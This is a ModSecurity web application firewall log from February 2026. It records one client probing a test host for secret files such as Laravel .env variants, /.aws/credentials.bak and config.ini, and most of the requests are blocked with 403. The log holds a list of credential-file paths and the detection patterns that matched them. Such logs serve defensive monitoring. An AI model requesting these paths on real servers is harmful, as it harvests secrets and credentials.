[Thu Feb 26 01:02:48.457444 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-AAAAAI&quot;]
[Thu Feb 26 01:02:48.503392 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MgAAAAY&quot;]
[Thu Feb 26 01:02:48.503622 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MgAAAAY&quot;]
[Thu Feb 26 01:02:48.503788 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MgAAAAY&quot;]
[Thu Feb 26 01:02:48.527484 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-gAAAAI&quot;]
[Thu Feb 26 01:02:48.527800 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-gAAAAI&quot;]
[Thu Feb 26 01:02:48.528060 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-gAAAAI&quot;]
[Thu Feb 26 01:02:48.528245 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-gAAAAI&quot;]
[Thu Feb 26 01:02:48.540745 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MwAAAAY&quot;]
[Thu Feb 26 01:02:48.541001 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MwAAAAY&quot;]
[Thu Feb 26 01:02:48.541162 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4MwAAAAY&quot;]
[Thu Feb 26 01:02:48.556471 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials/admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-wAAAAI&quot;]
[Thu Feb 26 01:02:48.556760 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-wAAAAI&quot;]
[Thu Feb 26 01:02:48.556922 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk-wAAAAI&quot;]
[Thu Feb 26 01:02:48.577722 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NAAAAAY&quot;]
[Thu Feb 26 01:02:48.577979 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NAAAAAY&quot;]
[Thu Feb 26 01:02:48.578144 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NAAAAAY&quot;]
[Thu Feb 26 01:02:48.606767 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NQAAAAY&quot;]
[Thu Feb 26 01:02:48.606993 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NQAAAAY&quot;]
[Thu Feb 26 01:02:48.607157 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NQAAAAY&quot;]
[Thu Feb 26 01:02:48.610766 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_QAAAAI&quot;]
[Thu Feb 26 01:02:48.611211 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_QAAAAI&quot;]
[Thu Feb 26 01:02:48.611361 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_QAAAAI&quot;]
[Thu Feb 26 01:02:48.648324 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NgAAAAY&quot;]
[Thu Feb 26 01:02:48.648524 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NgAAAAY&quot;]
[Thu Feb 26 01:02:48.648668 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NgAAAAY&quot;]
[Thu Feb 26 01:02:48.673618 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.bitbucket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_wAAAAI&quot;]
[Thu Feb 26 01:02:48.673835 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_wAAAAI&quot;]
[Thu Feb 26 01:02:48.673982 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk_wAAAAI&quot;]
[Thu Feb 26 01:02:48.684951 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NwAAAAY&quot;]
[Thu Feb 26 01:02:48.685157 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-NqJqP6Uim1aZiP_g4NwAAAAY&quot;]
